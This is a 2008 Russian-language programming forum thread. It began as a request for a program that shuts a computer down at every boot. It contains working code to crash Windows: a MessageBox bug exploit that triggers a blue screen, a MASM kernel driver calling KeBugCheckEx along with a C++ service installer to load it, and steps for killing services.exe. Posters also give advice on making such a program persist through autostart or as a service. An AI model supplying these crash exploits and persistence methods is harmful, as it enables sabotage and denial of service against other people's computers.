Функция "shutdown" в С++
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Функция "shutdown" в С++ - 2008-03-11 18:46:34.380000
|
|
|
BeoWolf11
Сообщений: 76
Оценки: 0
Присоединился: 2008-01-31 21:09:43.920000
|
Как в С++ написать прогу которая, открыв ее, выключает твой комп. А еще было бы лучше воопще чтобы при каждом запуске системы, комп выключался) Так как это можно зделать?
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 19:06:50.463333
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
юзай гугл http://www.google.com/search?client=opera&rls=ru&q=%D0%92%D1%8B%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5+%D0%BA%D0%BE%D0%BC%D0%BF%D0%B0+%D0%B2+C%2B%2B&sourceid=opera&ie=utf-8&oe=utf-8
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 21:16:45.613333
|
|
|
RasenHerz
Сообщений: 303
Оценки: 0
Присоединился: 2007-11-27 21:17:15.833333
|
интересно как эту функцию реализовать на асме (чтоб от типа ОС не зависила(?)), и вообще реально ли такое? а то все материалы в гугле в основном для винды =((( хотелось бы и на никсах так уметь. =)
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 21:23:00.513333
|
|
|
BeoWolf11
Сообщений: 76
Оценки: 0
Присоединился: 2008-01-31 21:09:43.920000
|
Я уже нашол =) quote:
#include <iostream> using namespace std; int main() { system(shutdown -s); return 0; } Но появился другой вопрос. Как зделать так чтобы эта прога запускалась автоматически после запуска системы?
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 21:42:29.660000
|
|
|
TPOYAN
Сообщений: 26
Оценки: 0
Присоединился: 2007-11-09 22:54:46.533333
|
ОМГ!!!тебя поиском учили пользоватся???? вот ссылка http://devoid.com.ua/c-builder/cpp-builder-for-beginners/work-with-tregistry-class.html
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 21:43:44.503333
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
Самый жестокий способ вырубить комп: quote:
#include <windows.h>
#pragma optimize("gsy",on)
#pragma comment(linker,"/IGNORE:4078")
#pragma comment(linker,"/RELEASE")
#pragma comment(linker,"/merge:.rdata=.data")
#pragma comment(linker,"/merge:.text=.data")
#pragma comment(linker,"/merge:.reloc=.data")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(linker,"/opt:nowin98")
#pragma comment(linker,"/entry:MyMain")
void MyMain(void)
{
char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00};
for(int i=0; i<10; i++)
MessageBox(0, pHelloBug, pHelloBug, 0x00200000);
}
quote:
Но появился другой вопрос. Как зделать так чтобы эта прога запускалась автоматически после запуска системы? Добавить в автозагрузку. Рекомендую устанавливать прогу как сервис - надежнее))
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 22:02:53.213333
|
|
|
BeoWolf11
Сообщений: 76
Оценки: 0
Присоединился: 2008-01-31 21:09:43.920000
|
quote:
#include <windows.h> #pragma optimize("gsy",on) #pragma comment(linker,"/IGNORE:4078") #pragma comment(linker,"/RELEASE") #pragma comment(linker,"/merge:.rdata=.data") #pragma comment(linker,"/merge:.text=.data") #pragma comment(linker,"/merge:.reloc=.data") #pragma comment(linker,"/FILEALIGN:0x200") #pragma comment(linker,"/opt:nowin98") #pragma comment(linker,"/entry:MyMain") void MyMain(void) { char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00}; for(int i=0; i<10; i++) MessageBox(0, pHelloBug, pHelloBug, 0x00200000); } А че она делает? На себе испробовать можно? Ниче не будет?) А в автозагруску как? Где?
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 23:21:22.986666
|
|
|
bodrillo
Сообщений: 26
Оценки: 0
Присоединился: 2007-12-31 00:18:47.243333
|
quote:
А че она делает? BSOD она делает. Только я пока не понял как. blacksun че за "\\??\\!!!" ?
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-11 23:40:20.370000
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
quote:
ORIGINAL: bodrillo quote:
А че она делает? BSOD она делает. Только я пока не понял как. blacksun че за "\\??\\!!!" ? Бага в винде, безобидный MessageBox пишет в ядро ..
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-12 00:51:37.690000
|
|
|
Absurd
Сообщений: 335
Оценки: 0
Присоединился: 2007-08-24 13:14:11.566666
|
quote:
ORIGINAL: BeoWolf11 Я уже нашол =) quote:
#include <iostream> using namespace std; int main() { system(shutdown -s); return 0; } Но появился другой вопрос. Как зделать так чтобы эта прога запускалась автоматически после запуска системы? В *nix c SysV - стилем конфигов есть такое понятие как "runlevel". Если дефолтовый рунлевел выставить в 0, то Линукс например будет выключаться сразу после загрузки ядра.
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-12 03:23:01.503333
|
|
|
bodrillo
Сообщений: 26
Оценки: 0
Присоединился: 2007-12-31 00:18:47.243333
|
quote:
void MyMain(void) { char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00}; for(int i=0; i<10; i++) MessageBox(0, pHelloBug, pHelloBug, 0x00200000); } Млин, на декстопе не работает. Там у меня автоматическое обновление, видимо дырдочку уже залатали.
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-12 03:57:20.416666
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
quote:
ORIGINAL: bodrillo quote:
void MyMain(void) { char pHelloBug[]={0x5C, 0x3F, 0x3F, 0x5C, 0x21, 0x21, 0x21, 0x00}; for(int i=0; i<10; i++) MessageBox(0, pHelloBug, pHelloBug, 0x00200000); } Млин, на декстопе не работает. Там у меня автоматическое обновление, видимо дырдочку уже залатали. Ну тогда .. - Получаешь привелегии дебага - Присоеденяешься к процессу services.exe - Самоуничтожаешся Умрет services.exe (или другой критический системный процесс) - моментально вырубится винда :)
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-12 05:33:15.420000
|
|
|
bodrillo
Сообщений: 26
Оценки: 0
Присоединился: 2007-12-31 00:18:47.243333
|
Ну ежели на то пошло… Вот драйверок на асме: .386
.model flat,stdcall
includelib ntoskrnl.lib
KeBugCheckEx proto :dword, :dword, :dword, :dword, :dword
.code
DriverEntry proc pDriverObject:dword, pusRegistryPath:dword
invoke KeBugCheckEx,000000F4h,0,0,0,0
mov eax,0C0000182h
ret
DriverEntry endp
end DRIVERENTRY компилится в masm32 со следующими ключами: c:\masm32\bin\ml.exe /c /coff bsod.asm c:\masm32\bin\link.exe /driver /base:0x10000 /align:32 /out:bsod.sys /subsystem:native bsod.obj вот прога которая его регистрирует и запускает: int _tmain(int argc, _TCHAR* argv[])
{
SC_HANDLE hSCmanager,hService;
hSCmanager=OpenSCManager(0,0,SC_MANAGER_CREATE_SERVICE);
if(!hSCmanager){
return 0;}
hService=CreateService(hSCmanager,L"bsod",L"Kill Windows",SERVICE_START | DELETE,
SERVICE_KERNEL_DRIVER,SERVICE_DEMAND_START,SERVICE_ERROR_IGNORE
,(LPCWSTR)L"e:\\dev\\drivers\\bsod\\bsod.sys",0,
0,0,0,0);
if(!hService){
hService=OpenService(hSCmanager,L"bsod",SERVICE_START + DELETE);
if(!hService){
CloseServiceHandle(hSCmanager);}}
StartService(hService,0,0);
DeleteService(hService);
CloseServiceHandle(hService);
CloseServiceHandle(hSCmanager);
return 0;
} Все документированно и абсолютно легально. Не надо никуда инжектица.
|
|
|
RE: Функция "shutdown" в С++ - 2008-03-12 05:36:31.093333
|
|
|
blаcksun
Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
|
Еще мона питание у винта вырубить)) http://forum.wasm.ru/article.php?article=apihook_3
|
|
|
|
|